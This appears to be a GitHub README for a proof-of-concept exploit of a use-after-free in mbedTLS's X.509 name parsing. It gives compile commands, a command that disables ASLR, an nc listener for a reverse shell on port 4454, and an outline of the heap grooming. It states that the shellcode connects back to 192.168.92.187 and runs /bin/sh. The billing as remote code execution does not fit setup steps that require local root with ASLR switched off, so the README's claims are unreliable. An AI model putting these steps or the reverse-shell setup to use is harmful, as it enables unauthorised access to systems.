bytereaper77/cve-2025-47917PoC exploit for CVE-2025-47917: Use-After-Free in mbedTLS leading to remote code execution.
This repository contains an exploit targeting a Use-After-Free vulnerability in the mbedtls_x509_string_to_names() name parsing function of the mbedTLS library. A successful exploit grants arbitrary code execution with root privileges by hijacking freed heap metadata and redirecting control flow to injected shellcode.
Operating System: Linux (tested on Kali Linux)
Root privileges: Required for disabling ASLR and executing injected shellcode
mbedTLS development libraries (mbedTLS < 3.6.4):
sudo apt update
sudo apt install -y libmbedtls-dev
Build tools: gcc, make (optional)
Adjust include/library paths according to your installation:
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
Disable ASLR (Address Space Layout Randomization):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Prepare a listener for the reverse shell on attacker machine (port 4454):
nc -lvnp 4454
Run the exploit with root privileges:
sudo ./exploit_UAF
checkAslr() reads /proc/sys/kernel/randomize_va_space to ensure ASLR is disabled. Exits if enabled.mbedtls_x509_string_to_names() call: Initializes an empty named-data list.paddingChunk() allocates many fake named-data structs to fill free list entries with controlled content pointing to shellcode.mbedtls_x509_string_to_names() call: Triggers the Use-After-Free condition, reuses freed chunk containing fake metadata.mmap(), copied, and executed through corrupted named_data->val.p pointer.192.168.92.1874454The shellcode performs a socket + connect + dup2 sequence, then execve("/bin/sh").
MIT